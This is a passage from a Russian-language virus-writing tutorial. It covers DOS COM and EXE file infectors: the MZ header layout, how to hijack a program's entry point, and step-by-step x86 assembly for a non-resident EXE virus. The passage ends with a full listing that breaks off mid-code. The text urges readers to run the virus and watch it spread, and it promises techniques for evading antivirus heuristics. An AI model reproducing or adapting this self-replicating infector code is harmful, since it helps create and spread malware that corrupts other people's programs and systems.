- to_ret: pop cx
- pop ax
- ret
- search endp
- db '1' ;Последний байт
- ;вируса ...
- vir_len equ $-vir ;Длина вируса в
- ;байтах ...
- vir_par equ ( $-vir + 0fh ) / 16
- ;И в параграфах
- prg_end: mov ax,4c00h ;Выход в DOS
- INT 21H ;только для за-
- ;пускающей прог-
- ;раммы ...
- db '1' ;И ее последний
- ;байт ...
- prg ends ;Стандартное
- end start ;" окончание "
- ;ASM - программы
- 2.26 Комментарии
- В отличие от предыдущего,разработанный в этой гла-
- ве вирус может отыскивать файлы для заражения на
- всем жестком диске и даже на дискетах . Это делает
- его довольно заразным и быстро распространяющимся.
- Поэтому сложность " конструкции " окупается эф-
- фективностью работы вирусного кода .
- Вместе с тем,наш вирус имеет определенный недоста-
- ток .Ведь его обнаруживает такая распространенная
- программа, как DOCTOR WEB !В следующей части будет
- рассказано о способах разработки вирусов, против
- которых алгоритм эвристического анализа оказывае-
- тся малоэффективным .
- 2.27 Испытание вируса
- Для исследования работы вируса откомпилируйте его
- исходный текст для получения COM - файла . После
- чего запустите этот COM - файл .
- " Пройдитесь " по различным каталогам и понаблюда-
- йте, как вирус заражает файлы при смене текущего
- каталога .Попробуйте перейти на другой диск и про-
- следите за действиями вируса .И последнее,проверь-
- те, заражается ли командный процессор .Все выше-
- указанные действия нужно проводить очень аккурат-
- но и не рисковать важными программами, так как ви-
- рус, который мы изготовили, весьма заразный, из-за
- чего у вас могут быть неприятности .
- Кроме того, очень советую вам " пройти " заражен-
- ную программу отладчиком до точки входа в про-
- граммный код .
- И,наконец,при инсталлированном в память машины ви-
- русном коде запустите программу DOCTOR WEB в режи-
- ме поиска резидентных вирусов . Вы убедитесь, что
- наш вирус обнаруживается как неизвестный .
- ЧАСТЬ 2 . EXE - ВИРУСЫ
- ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
- EXE - ВИРУСА
- 1.1 Формат EXE - файла на диске
- Каждый EXE - файл, хранимый на диске, состоит из
- заголовка,таблицы настройки и собственно программ-
- ных кодов и данных.В заголовке содержится информа-
- ция для настройки адресов и установки значений ре-
- гистров процессора, которая используется при заг-
- рузке программы .Поскольку понимание структуры за-
- головка очень важно для изучения данной и последу-
- ющей глав, мы рассмотрим ее уже сейчас .
- Итак,заголовок EXE - файла при хранении его на ди-
- ске имеет следующий формат :
- Байты 0, 1 : Содержат код 4D5Ah, или " MZ "
- Байты 2, 3 : Содержат остаток от деления размера
- загрузочного модуля на 512
- Байты 4, 5 : Содержат размер файла в 512-ти бай-
- товых страницах, округленный в боль-
- шую сторону
- Байты 6, 7 : Содержат число элементов таблицы на-
- стройки адресов
- Байты 8, 9 : Содержат размер заголовка в парагра-
- фах
- Байты 0A,0B : Содержат минимальное число дополни-
- тельных параграфов,которые нужны за-
- груженной программе
- Байты 0C,0D : Содержат максимальное число дополни-
- тельных параграфов
- Байты 0E,0F : Содержат смещение в параграфах сег-
- мента стека в загрузочном модуле;на-
- зовем его SS0
- Байты 10,11 : Содержат значение регистра SP, кото-
- рое устанавливается перед передачей
- управления программе ( SP0 )
- Байты 12,13 : Содержат контрольную сумму EXE-фай-
- ла
- Байты 14,15 : Содержат значение регистра IP, кото-
- рое устанавливается перед передачей
- управления программе ( IP0 )
- Байты 16,17 : Содержат смещение в параграфах сег-
- мента кода в загрузочном модуле,или
- CS0
- Байты 18,19 : Содержат расстояние в байтах от на-
- чала файла до первого элемента таб-
- лицы настройки адресов
- Байты 1A,1B : Содержат "0", если данная часть про-
- граммы является резидентной, или от-
- личное от нуля число - если данная
- часть является оверлейной
- Заметим, что контрольная сумма определяется сумми-
- рованием всех слов, содержащихся в файле,без учета
- переполнения.При этом она практически нигде не ис-
- пользуется.
- 1.2 Загрузка и выполнение EXE - программы
- Действия MS DOS при запуске EXE - программы отли-
- чаются от действий при запуске программы типа COM,
- хотя в обоих случаях операционная система исполь-
- зует одну и ту же функцию EXEC. Действия этой фун-
- кции при запуске EXE - программы выглядят так :
- 1. Запускаемой программе отводится вся свобод-
- ная в данный момент оперативная память .Сегментная
- часть начального адреса этой памяти обычно называ-
- ется начальным сегментом программы.
- 2. По нулевому смещению в сегменте, определяемом
- начальным сегментом программы,EXEC строит PSP про-
- граммы.Заполняет PSP по-прежнему операционная сис-
- тема, а его размер, как и для COM - программы, ра-
- вен 256 байт .
- 3. Сразу вслед за PSP загружается сама EXE - прог-
- рамма.Причем в память помещается исключительно за-
- грузочный модуль, а заголовок и таблица настройки
- в память не копируются.После этого выполняется так
- называемая настройка адресов . Ее суть состоит в
- следующем :
- Некоторые команды (например, команды далекого пе-
- рехода или вызова процедуры, расположенной в дру-
- гом программном сегменте) требуют указания не то-
- лько смещения, но и сегмента адреса .Компоновщик
- строит EXE - модуль относительно некоторого " на-
- чального " адреса,но ведь в MS DOS программы могут
- загружаться в произвольную область памяти !Поэтому
- при загрузке программы к каждому сегментному адре-
- су прибавляется значение начального сегмента про-
- граммы . Этот процесс и называют настройкой адре-
- сов .У вас может возникнуть вопрос, откуда MS DOS
- знает, где расположены требующие настройки элемен-
- ты .Для получения такой информации система исполь-
- зует таблицу настройки, которая находится в файле
- по некоторому смещению от его начала .Само смеще-
- ние хранится в заголовке в байтах 18h, 19h .
- 4. EXEC выполняет настройку регистров процессора.
- Обозначим начальный сегмент программы буквами NS0.
- Тогда устанавливаемые значения регистров будут вы-
- глядеть так :
- DS = ES = NS0
- CS = NS0 + 10h + CS0
- IP = IP0
- SS = NS0 + 10h + SS0
- SP = SP0
- CS0, SS0, IP0 и SP0 берутся загрузчиком из заголо-
- вка EXE - файла, а NS0 становится известным в про-
- цессе загрузки .
- 5. Теперь загруженную EXE - программу можно испол-
- нить . Для этого EXEC передает управление по адре-
- су CS : IP .
- Стоит заметить, что размер EXE - файла в MS DOS не
- ограничивается размером одного сегмента и может
- быть очень большим ( примерно 65535*512 = 33553920
- байт !). Правда,для построения очень больших EXE -
- программ используется оверлейная структура.При ис-
- полнении программы, имеющей оверлейную структуру ,
- она не загружается в память целиком.Вместо этого в
- память помещается только ее резидентная часть, ко-
- торая по мере необходимости подгружает те или иные
- оверлейные фрагменты .
- 1.3 Как вирус может заразить EXE - файл
- Как и при заражении COM - программ, при заражении
- EXE - файлов вирусный код может записываться в ко-
- нец,начало или в середину файла.Запись в конец фа-
- йла,как и в предыдущем случае,реализуется наиболее
- просто,и кроме того,предохраняет от многих трудно-
- стей при отладке .Поэтому мы создадим вирус, рабо-
- тающий имено по такому принципу .
- Для того,чтобы при старте зараженной программы код
- вируса получил управление, следует соответствующим
- образом модифицировать заголовок EXE - файла . Для
- этого исходные значения CS0 и IP0 заменяются на
- точку входа в вирусный код, а значения SS0 и SP0
- " переключаются " на собственный стек вируса.Кроме
- того, поскольку при заражении изменяются длина за-
- грузочного модуля и длина файла, необходимо скор-
- ректировать поля заголовка по смещению 02h, 03h, а
- также 04h, 05h .Вот и все .
- Может показаться, что создать вирус,заражающий EXE
- - файлы, намного сложнее, чем COM - вирус . Однако
- это не так . Прочтите эту главу, и вы убедитесь в
- этом !
- 1.4 Работа вируса в зараженной программе
- Рассмотрим теперь действия вируса при получении им
- управления .
- Итак, вирус функционирует по такому алгоритму :
- 1. Ищет на диске подходящий EXE - файл .
- 2. Записывает свое тело в конец этого файла .
- 3. Корректирует заголовок заражаемой программы
- следующим образом :
- a.) Вместо исходных CS0 и IP0 заражаемой про-
- граммы записываются значения, обеспечиваю-
- щие передачу управления вирусному коду при
- запуске программы .
- б.) Исходные SS0 и SP0 заменяются на значения,
- обеспечивающие переключение на собственный
- стек вируса .
- в.) Корректируется остаток от деления размера
- загрузочного модуля на 512 .
- г.) Поскольку при заражении длина файла увели-
- чивается, корректируется размер файла в ст-
- раницах ( одна страница равна 512 байт ) .
- Естественно, перед корректировкой вирус обязан со-
- хранить исходные параметры заголовка -ведь они по-
- требуются при передаче управления вирусному коду .
- После коррекции заголовок записывается на диск .
- 4. Выполняет вредные действия, предусмотренные ав-
- тором .
- 5. Определяет значения CS, IP, SS и SP,необходимые
- для правильной работы программы,из которой старто-
- вал вирус .
- 6. Передает управление зараженной программе . Для
- этого вирус использует команду безусловного даль-
- него перехода.Адрес перехода задается вычисленными
- CS и IP .После этого начинается обычное выполнение
- программы .
- 1.5 Начало работы
- Как и COM - вирус, EXE - вирус лучше разрабатывать
- в формате COM .Это убережет нас от многих ненужных
- трудностей .Поэтому напишем стандартное начало COM
- программы :
- prg segment
- assume cs:prg,ds:prg,es:prg,ss:prg
- org 100h
- Как вы помните, директива "assume cs:prg,ds:prg,es
- :prg,ss:prg" назначает сегментные регистры сегмен-
- ту с именем PRG, а директива "org 100h" резерви-
- рует место для PSP вирусной программы .
- 1.6 Вирус получает управление
- В отличие от COM - вируса,наша запускающая програ-
- мма после запуска не будет заменять в памяти свои
- первые три байта командой перехода на функцию DOS
- завершения программы . По этой причине можно не
- бояться, что в заражаемый файл попадет испорченный
- вирусный код (см. п. 1.17 предыдущей части).Отсюда
- следует, что директива " org 110h" нам не потре-
- буется .Значит,можно сразу переходить " к делу " :
- vir: mov ax,cs ;AX = CS ...
- db 2dh ;SUB AX,00h
- sub_ds dw 0 ;
- mov ds,ax ;
- mov ss,ax ;
- mov ah,1ah ;Переключим DTA
- lea dx,new_dta ;на соответству-
- ;ющий массив в
- int 21h ;области данных
- ;вируса ...
- При компиляции относительные адреса всех ячеек па-
- мяти определяются относительно DS, который указы-
- вает на начало PSP .Но в зараженной программе при
- передаче управления на код вируса регистр CS будет
- указывать на параграф, с которого начинается этот
- код, а не на начало PSP, а регистр DS вообще ока-
- жется настроенным на начальный сегмент программы !
- Единственный способ получить доступ к данным виру-
- са заключается в установке DS = CS.А с учетом раз-
- мера PSP в 10h параграфов значение DS следует уме-
- ньшить как раз на эту величину .При заражении того
- или иного файла поле " sub_ds " для него будет за-
- полняться значением 10h.Поскольку запускающая про-
- грамма имеет COM - формат, для нее CS = DS = SS =
- = ES, и все они указывают на начало PSP . Поэтому
- значение DS корректировать не нужно, и в поле
- " sub_ds " запускающей программы помещается ноль .
- Дальше вирус переключает DTA на массив "new_dta",
- расположенный в области данных вируса . Поскольку
- начальный сегмент программы станет известным при
- ее запуске,можно будет без особого труда восстано-
- вить адрес исходной DTA.
- 1.7 Ищем подходящий файл
- Теперь наш вирус может заняться поиском файла-жер-
- твы .Как мы договорились, вирус будет заражать EXE
- - файлы, значит, такой файл и нужно найти . Но по-
- скольку фрагмент, который производит поиск файлов
- с тем или иным расширением уже был создан, остает-
- ся только воспользоваться им, внеся некоторые из-
- менения :
- mov ax,old_ip ;Скопируем исхо-
- mov my_ip,ax ;дные параметры
- mov ax,old_cs ;заголовка зара-
- mov my_cs,ax ;женной програм-
- mov ax,to_16h ;мы в ячейки па-
- mov my_16h,ax ;мяти " my_XX ",
- mov ax,old_ss ;так как ячейки
- mov my_ss,ax ;" old_XX ", в
- mov ax,old_sp ;которых хранят-
- mov my_sp,ax ;ся параметры,
- ;будут испорчены
- ;при заражении
- ;нового файла
- find_first:mov ah,4eh ;Поиск первого
- mov cx,00100110b ;файла :
- lea dx,maska ;archive, system
- int 21h ;hidden ...
- jnc r_3
- jmp restore_dta
- find_next: mov ah,3eh ;Закроем непод-
- mov bx,descrypt ;ходящий файл
- int 21h
- jnc r_2
- jmp restore_dta
- r_2: mov ah,4fh ;Поиск следующе-
- int 21h ;го ...
- jnc r_3
- jmp restore_dta
- r_3: mov cx,12 ;Очистим об-
- lea si,fn ;ласть " fn "
- kill_name: mov byte ptr [si],0
- inc si
- loop kill_name
- xor si,si ;И перепишем
- copy_name: mov al,byte ptr new_dta[si + 01eh]
- cmp al,0 ;туда имя най-
- je open_file ;денного файла
- mov byte ptr fn[si],al
- inc si
- jmp copy_name
- open_file: mov ax,3d02h ;Откроем файл
- lea dx,fn ;для чтения и
- int 21h ;записи ...
- jnc found_size
- jmp r_2
- found_size:mov descrypt,ax ;Определим раз-
- mov cx,word ptr [new_dta + 01ch]
- mov dx,word ptr [new_dta + 01ah]
- sub dx,1 ;мер файла и вы-
- sbb cx,0 ;чтем из него
- ;единицу ...
- call setpointer ;Установим ука-
- ;затель на пос-
- ;ледний символ
- read_last: mov cx,1 ;Прочитаем
- lea dx,last ;последний
- call read ;символ ...
- jnc compar
- jmp close_file
- compar: cmp last,'7' ;Это "семерка" ?
- jne mmm ;Нет
- to_next: jmp find_next ;Да ! Файл уже
- ;заражен, и надо
- ;искать другой
- Вы, вероятно, уже поняли,что каждая новая програм-
- ма составляется нами из ранее разработанных бло-
- ков, как из конструктора.Это сильно упрощает рабо-
- ту и сокращает время на составление программ .Было
- бы странно не воспользоваться готовыми фрагментами
- и заново преодолевать все трудности !
- Вместе с тем, использованный фрагмент пришлось не-
- сколько модифицировать,чтобы он смог правильно ра-
- ботать в новой программе .Первое внесенное измене-
- ние состоит в дублировании исходных значений заго-
- ловка программы, из которой стартовал вирус.В ком-
- ментариях рассказано, зачем это потребовалось.Сле-
- дющее изменение вызвано тем, что EXE - файл может
- быть длиннее 64 Кбайт.Поэтому для установки указа-
- теля на последний байт файла недостаточно просто
- вычесть единицу из его размера.Например,пусть дли-
- на файла равна 10000h байт . В этом случае из DTA
- будут считаны такие числа :CX = 0001h и DX = 0000h
- (см. выше) .Теперь для обращения к последнему эле-
- менту файла из пары CX : DX следует вычесть "1" .
- Если просто вычесть единицу из DX, то мы получим
- следующее :CX = 0001h, DX = 0FFFFh, то есть полно-
- стью абсурдное значение . Чтобы такого не происхо-
- дило, нужно применить команду " вычитание с зае-
- мом ", которая будет отнимать от CX значение фла-
- га переноса CF - " ноль " или " один " .
- И последнее - вместо непосредственной установки
- указателя мы будем просто вызывать процедуру "set-
- pointer ", текст которой несложен и рассматривает-
- ся в конце главы .
- 1.8 Читаем заголовок файла
- Наш EXE-вирус должен получать управление при стар-
- те зараженного файла .С этой целью он может моди-
- фицировать заголовок файла,как показано в п. 1.4 .
- Проще всего будет считать заголовок найденной EXE-
- программы с диска, после чего сделать необходимые
- изменения и записать его обратно на диск.А так как
- предыдущий фрагмент вирусной программы уже нашел
- подходящий EXE - файл, самое время прочитать его
- заголовок :
- mmm: xor cx,cx ;Установим ука-
- xor dx,dx ;затель на нача-
- call setpointer ;ло файла ...
- mov ah,3fh ;И считаем инте-
- mov bx,descrypt ;ресующую нас
- mov cx,27 ;часть заголовка
- ;в массив " hea-
- ;der " .Она как
- lea dx,header ;раз занимает 27
- int 21h ;байт...
- jnc next_step ;
- jmp restore_dta ;Ошибка чтения !
- Работа фрагмента довольно проста и пояснений не
- требует .
- 1.9 Производим необходимые вычисления
- Теперь наша задача состоит в следующем : Используя
- числа, полученные из заголовка и некоторые вспомо-
- гательные данные, рассчитать новые параметры заго-
- ловка EXE - программы.Напомним,что необходимо най-
- ти :
- Новые значения CS0, IP0, SS0 и SP0
- Новый остаток от деления размера загрузочного мо-
- дуля на 512
- Новый размер файла в 512 - ти байтовых страницах,
- округленный в большую сторону
- Кроме того,следует найти такое значение указателя,
- которое обеспечило бы запись вирусного кода в ко-
- нец файла . Это значение будет исходным для проце-
- дуры " setpointer ", которая предназначена для ус-
- тановки указателя в файле .
- Перед началом вычислений вирус должен "запомнить"
- исходные параметры заголовка, чтобы можно было ис-
- пользовать их для расчета правильной точки входа и
- переключения стека с области данных вируса на стек
- зараженной программы при передаче ей управления :
- ;Запомним пара-
- ;метры заголовка
- ;в переменных
- ;" old_XX " ...
- next_step: mov ax,word ptr header[14h]
- mov old_ip,ax
- mov ax,word ptr header[16h]
- mov old_cs,ax
- mov ax,word ptr header[0eh]
- mov old_ss,ax
- mov ax,word ptr header[10h]
- mov old_sp,ax
- После этого можно приступить к вычислениям.Но сна-
- чала следует привести принятые для расчета форму-
- лы .Обозначим :
- Остаток от деления размера загрузочного модуля на
- 512 - Исходный : при вычислениях не используется
- Вычисленный в результате коррекции ( в даль-
- нейшем - " вычисленный " ) : Header [02h]
- Размер файла в 512 - ти байтовых страницах -
- Исходный : File_size
- Вычисленный : Header [04h]
- Смещение в параграфах стекового сегмента в загру-
- зочном модуле -
- Исходное : SS0
- Вычисленное : Header [0eh]
- Смещение в параграфах кодового сегмента в загру-
- зочном модуле -
- Исходное : СS0
- Вычисленное : Header [16h]
- Значение указателя стека SP при передаче управле-
- ния программе -
- Исходное : SP0
- Вычисленное : Header [10h]
- Значение указателя команд IP при передаче управле-
- ния программе -
- Исходное : IP0
- Вычисленное : Header [14h]
- Размер заголовка в параграфах -
- Head_size
- Длина вируса в байтах -
- Vir_len
- Старшая часть указателя для записи вируса в конец
- файла -
- F_seek_high
- Младшая часть указателя -
- F_seek_low .
- CS0, IP0, SS0 и SP0 в этих расчетах не используют-
- ся,но мы сохранили их в выделенных ячейках памяти.
- Тогда можно привести такие формулы :
- Header [16h] = File_size * 32 - Head_size
- Header [04h] = (File_size * 512 + Vir_len) / 512 -
- частное от деления + 0,если остаток
- равен нулю
- + 1,если остаток
- не равен ну-
- лю
- Header [02h] = (File_size * 512 + Vir_len) / 512 -
- остаток от деления
- Header [14h] = 0
- При этом первая исполняемая коман-
- да вируса будет находиться по адре-
- су : CS : 0000h, CS = Header [16h].
- Header [0eh] = Header [16h], чтобы можно было об-
- ратиться к стеку вируса,задав в ка-
- честве SP " расстояние " от начала
- вирусного кода до последних слов
- стека .
- Header [10h] = смещению к New_stack + 96h, послед-
- нее слагаемое зависит от размера
- вирусного стека .
- F_seek_high = File_size * 512 ( High )
- F_seek_low = File_size * 512 ( Low )
- Все расчеты по приведенным формулам можно выпол-
- нить с помощью таких программных строк :
- mov ax,word ptr header[04h]
- mov cl,5
- shl ax,cl
- cmp ax,0f000h
- jna good_size
- jmp find_next
- good_size: mov bp,ax
- sub ax,word ptr header[08h]
- mov to_16h,ax ;Это число запи-
- ;шется в Header
- ;[16h]
- mov ax,bp
- xor dx,dx
- call mover
- mov f_seek_low,ax
- mov f_seek_high,dx
- cmp dx,word ptr [new_dta + 01ch]
- jl to_next
- ja infect
- cmp ax,word ptr [new_dta + 01ah]
- jl to_next
- infect: add ax,vir_len
- adc dx,0
- mov bx,512
- div bx
- cmp dx,0
- je round
- inc ax
- round: mov to_04h,ax ;Это число запи-
- ;шется в Header
- ;[04h]
- mov to_02h,dx
- mov word ptr header[02h],dx
- mov ax,to_04h
- mov word ptr header[04h],ax
- mov word ptr header[14h],0
- mov ax,to_16h
- mov word ptr header[16h],ax
- mov word ptr header[0eh],ax
- mov word ptr header[10h],offset ds:new_stack + 96
- mov sub_ds,10h
- В приведенном тексте широко используются команды :
- ADC - сложение с переносом .Эта команда определяет
- сумму задаваемых операндов и прибавляет к ней зна-
- чение флага переноса CF
- и
- SBB - вычитание с заемом . Команда определяет раз-
- ность задаваемых операндов и вычитает из нее зна-
- чение флага CF .
- Такие команды потребовались для того, чтобы можно
- было учесть переполнения, возникающие при работе с
- файлами длиннее 64 Кбайт .Заметьте, что при разра-
- ботке COM - вирусов они не применялись вообще .
- Процедура " mover " заимствована из книги П .Абеля
- "Язык ассемблера для IBM PC и программирования" и
- предназначена для умножения двойного слова CX : DX
- на 16 методом сдвига .
- Хотелось бы сказать о том, как наш вирус определя-
- ет, содержит ли файл внутренние оверлеи .Для этого
- он просто сравнивает размер файла в параграфах,по-
- лученный из заголовка по смещению 04h с размером,
- считанным из DTA.Верным признаком присутствия вну-
- тренних оверлеев является следующий факт :
- Размер, полученный из DTA больше значения, вычис-
- ленного по параметрам заголовка . Заражать " овер-
- лейный " файл по принятому нами алгоритму нельзя,
- и наш вирус при обнаружении такого файла просто
- попробует найти другую EXE - программу . Сам алго-
- ритм заражения оверлейных файлов отличается высо-
- кой сложностью и ненадежностью и в данном пособии
- не рассматривается .Стоит заметить, что далеко не
- все вирусы корректно работают с такими файлами, а
- многие просто их портят .
- 1.10 Заражаем EXE - программу
- После того, как скорректирован заголовок файла,мо-
- жно его заразить.Напомним, что при заражении вирус
- должен перезаписать на диск модифицированный заго-
- ловок, после чего поместить свой код в конец файла
- - жертвы :
- xor dx,dx ;Устанавливаем
- xor cx,cx ;указатель на
- call setpointer ;начало файла
- jc close_file ;
- lea dx,header ;И записываем
- mov cx,27 ;измененный за-
- call write ;головок на диск
- jc close_file
- mov dx,f_seek_low ;Устанавливаем
- mov cx,f_seek_high ;указатель на
- call setpointer ;определенное
- ;ранее место в
- ;файле
- jc close_file
- lea dx,vir ;И записываем на
- mov cx,vir_len ;диск вирусный
- call write ;код
- close_file:xor ax,ax ;Закроем зара-
- mov ah,3eh ;женный файл
- mov bx,descrypt ;
- int 21h ;
- Строго говоря, код вируса записывается не за пос-
- ледним байтом файла .Это имеет место только когда
- размер файла кратен 512 .Во всех остальных случаях
- вирусный код помещается в файл по смещению,опреде-
- ляемому размером файла в 512 - ти байтовых страни-
- цах .Конечно, число страниц округляется в большую
- сторону . Например, при размере файла в 1025 байт
- вирус будет считать, что его длина составляет три
- полных страницы, а при размере в 4096 байт - всего
- восемь ! Такая система сильно упрощает процесс со-
- здания вирусной программы и ее отладку .
- 1.11 Восстанавливаем DTA
- Итак, вирус выполнил свою работу - найден и зара-
- жен подходящий EXE - файл .Дальше необходимо пере-
- ключить DTA с области данных вируса на область в
- PSP программы, из которой он стартовал . Поскольку
- начальный сегмент программы известен ( он хранится
- в регистре ES, которым мы не пользовались ),несло-
- жно найти адрес исходной DTA .Он равен ES : 80h .И
- поэтому :
- restore_dta:
- push ds ;DS -> в стек
- mov ah,1ah ;Восстановим
- mov dx,080h ;адрес DTA зара-
- mov bp,es ;женной програм-
- mov ds,bp ;мы с помощью
- int 21h ;функции DOS 1Ah
- pop ds ;DS <- из стека
- В этом фрагменте адрес DTA устанавливается с помо-
- щью функции DOS 1Ah ( см.ПРИЛОЖЕНИЕ 1).Новый адрес
- должен быть помещен в DS : DX, что мы и сделали .
- Команда " push ds " записывает в стек содержимое
- регистра DS, так как этот регистр используется для
- задания адреса,и поэтому его значение будет испор-
- чено .
- 1.12 Восстанавливаем точку входа
- Далее необходимо передать управление зараженной
- программе ( конечно, не только что зараженной, а
- той, из которой стартовал вирус ) .Для этого нужно
- восстановить ее исходную точку входа,а также пере-
- ключить стек с вирусной области данных на стек,
- предусмотренный разработчиком программы .
- Чтобы произвести все необходимые вычисления,мы ис-
- пользуем параметры заголовка программы, сохранен-
- ные ранее в ячейках " my_XX " .
- При передаче управления на код вируса в регистр CS
- было помещено такое значение : CS = NS0 + 10h +
- + Header [16h], и это значение нам известно - оно
- сейчас находится в CS .С другой стороны, настоящая
- точка входа EXE - программы имеет сегментный адрес
- CS = NS0 + 10h + my_cs . Таким образом, достаточно
- узнать, чему равна сумма : NS0 + 10h, и прибавить
- к ней " my_cs " .Такая же ситуация возникает и при
- восстановлении регистра SS, только здесь к NS0 +
- + 10h нужно прибавить " my_ss " .Проще всего вос-
- становить регистр DS, поскольку при загрузке EXE -
- файла соблюдается условие : ES = DS = NS0.Для ини-
- циализации SP и IP можно просто записать в них чи-
- сла,хранящиеся в переменных " my_sp " и " my_ip ",
- не производя при этом каких - либо сложных расче-
- тов .С учетом этих соображений можно записать :
- mov ax,my_ip
- mov old_ip,ax
- mov ax,my_cs
- mov old_cs,ax
- mov ax,my_16h
- mov to_16h,ax
- mov ax,my_sp
- mov sp,ax ;Инициализируем
- ;регистр SP ...
- mov ax,cs ;Найдем
- sub ax,to_16h ;NS0 + 10h ...
- add my_ss,ax ;Вычислим SS ...
- mov ss,my_ss ;
- add ax,old_cs ;Вычислим CS ...
- mov old_cs,ax ;
- mov ax,es ;Инициализируем
- mov ds,ax ;регистр DS ...
- jmp $ + 2 ;Сбросим очередь
- ;процессора
- db 0eah ;И перейдем к
- old_ip dw 0 ;исполнению
- old_cs dw 0 ;программы ...
- Команда перехода к исполнению программы записана в
- виде машинного кода,чтобы при необходимости ее мо-
- жно было модифицировать .
- И еще - вы , вероятно, помните, что символами
- " NS0 " мы обозначили начальный сегмент программы.
- 1.13 Область данных вируса
- Приведем данные, которыми оперирует уже почти соз-
- данный нами EXE - вирус :
- ;Собственная DTA
- ;вируса
- new_dta db 128 dup (0)
- ;Маска для поис-
- ;ка файла - жер-
- ;твы
- maska db '*.exe',0
- ;Буфер для хра-
- ;нения имени
- ;найденного
- ;файла
- fn db 12 dup (' '),0
- ;Массив для хра-
- ;нения заголовка
- header db 27 dup ( 0 )
- descrypt dw 0 ;Ячейка для дес-
- ;криптора
- to_02h dw 0 ;Эти ячейки ис-
- to_04h dw 0 ;пользуются для
- to_16h dw 0 ;хранения пара-
- my_ip dw 0 ;метров заголо-
- my_cs dw 0 ;вка заражаемой
- my_16h dw 0 ;программы и
- my_ss dw 0 ;той, из которой
- my_sp dw 0 ;стартовал
- old_ss dw 0 ;вирус
- old_sp dw 0 ;
- f_seek_low dw 0 ;В эти перемен-
- f_seek_high dw 0 ;нные записывае-
- ;тся значение
- ;указателя
- ;Вирусный стек
- new_stack dw 50 dup ( 0 )
- last db 0 ;Сюда помещается
- ;последний байт
- ;заражаемого
- ;файла
- db '7' ;Последний байт
- ;вирусного кода
- 1.14 Используемые процедуры
- Осталось только привести тексты процедур, которыми
- пользуется вирус, и работа почти закончена . Они
- выглядят так :
- setpointer proc ;Процедура уста-
- mov ax,4200h ;навливает ука-
- mov bx,descrypt ;затель в файле
- int 21h ;на заданный
- ret ;байт ...
- setpointer endp
- read proc ;Процедура чте-
- mov ah,3fh ;ния из файла...
- mov bx,descrypt
- int 21h
- ret
- read endp
- write proc ;Процедура за-
- mov ah,40h ;писи в файл ...
- mov bx,descrypt
- int 21h
- ret
- write endp
- mover proc ;Процедура умно-
- mov cx,04h ;жения двойного
- left: shl dx,1 ;слова CX : DX
- shl ax,1 ;на 16 методом
- adc dx,00h ;сдвига ...
- loop left ;
- ret ;
- mover endp
- Приведенные процедуры очень просты и довольно эф-
- фективны . Процедура " mover " , как уже говори-
- лось,взята из книги П .Абеля " Язык ассемблера для
- IBM PC и программирования ", естественно,без раз-
- решения автора .
- 1.15 Работа завершена
- Только что мы разработали вирусную программу, за-
- ражающую EXE - файлы.Последний штрих - напишем не-
- сколько строк, почти стандартных для всех ассемб-
- лерных программ :
- ;Длина вирусного
- ;кода в байтах
- vir_len equ $-vir
- prg ends
- end vir
- 1.16 Полный текст нерезидентного EXE - вируса
- Для лучшего понимания всего изложенного в этой
- главе приведем полный текст написанной нами про-
- граммы :
- ; ________________________________________________
- ;| |
- ;| Non - TSR EXE virus |
- ;| Especially for my readers ! |
- ;|________________________________________________|
- prg segment
- assume cs:prg,ds:prg,es:prg,ss:prg
- org 100h
- vir: mov ax,cs ;AX = CS ...
- db 2dh ;SUB AX,00h
- sub_ds dw 0 ;
- mov ds,ax ;
- mov ss,ax ;
- mov ah,1ah ;Переключим DTA
- lea dx,new_dta ;на соответству-
- ;ющий массив в
- int 21h ;области данных
- ;вируса ...
- mov ax,old_ip ;Скопируем исхо-
- mov my_ip,ax ;дные параметры
- mov ax,old_cs ;заголовка зара-
- mov my_cs,ax ;женной програм-
- mov ax,to_16h ;мы в ячейки па-
- mov my_16h,ax ;мяти " my_XX ",
- mov ax,old_ss ;так как ячейки
- mov my_ss,ax ;" old_XX ", в
- mov ax,old_sp ;которых хранят-
- mov my_sp,ax ;ся параметры,
- ;будут испорчены
- ;при заражении
- ;нового файла
- find_first:mov ah,4eh ;Поиск первого
- mov cx,00100110b ;файла :
- lea dx,maska ;archive, system
- int 21h ;hidden ...
- jnc r_3
- jmp restore_dta
- find_next: mov ah,3eh ;Закроем непод-
- mov bx,descrypt ;ходящий файл
- int 21h
- jnc r_2
- jmp restore_dta
- r_2: mov ah,4fh ;Поиск следующе-
- int 21h ;го ...
- jnc r_3
- jmp restore_dta
- r_3: mov cx,12 ;Очистим об-
- lea si,fn ;ласть " fn "
- kill_name: mov byte ptr [si],0
- inc si
- loop kill_name
- xor si,si ;И перепишем
- copy_name: mov al,byte ptr new_dta[si + 01eh]
- cmp al,0 ;туда имя най-
- je open_file ;денного файла
- mov byte ptr fn[si],al
- inc si
- jmp copy_name
- open_file: mov ax,3d02h ;Откроем файл
- lea dx,fn ;для чтения и
- int 21h ;записи ...
- jnc found_size
- jmp r_2
- found_size:mov descrypt,ax ;Определим раз-
- mov cx,word ptr [new_dta + 01ch]
- mov dx,word ptr [new_dta + 01ah]
- sub dx,1 ;мер файла и вы-
- sbb cx,0 ;чтем из него
- ;единицу ...
- call setpointer ;Установим ука-
- ;затель на пос-
- ;ледний символ
- read_last: mov cx,1 ;Прочитаем
- lea dx,last ;последний
- call read ;символ ...
- jnc compar
- jmp close_file
- compar: cmp last,'7' ;Это "семерка" ?
- jne mmm ;Нет
- to_next: jmp find_next ;Да ! Файл уже
- ;заражен, и надо
- ;искать другой
- mmm: xor cx,cx ;Установим ука-
- xor dx,dx ;затель на нача-
- call setpointer ;ло файла ...
- mov ah,3fh ;И считаем инте-
- mov bx,descrypt ;ресующую нас
- mov cx,27 ;часть заголовка
- ;в массив " hea-
- ;der " .Она как
- lea dx,header ;раз занимает 27
- int 21h ;байт...
- jnc next_step ;
- jmp restore_dta ;Ошибка чтения !
- next_step: mov ax,word ptr header[14h]
- mov old_ip,ax
- mov ax,word ptr header[16h]
- mov old_cs,ax
- mov ax,word ptr header[0eh]
- mov old_ss,ax
- mov ax,word ptr header[10h]
- mov old_sp,ax
- mov ax,word ptr header[04h]
- mov cl,5
- shl ax,cl
- cmp ax,0f000h
- jna good_size
- jmp find_next
- good_size: mov bp,ax
- sub ax,word ptr header[08h]
- mov to_16h,ax ;Это число запи-
- ;шется в Header
- ;[16h]
- mov ax,bp
- xor dx,dx
- call mover
- mov f_seek_low,ax
- mov f_seek_high,dx
- cmp dx,word ptr [new_dta + 01ch]
- jl to_next
- ja infect
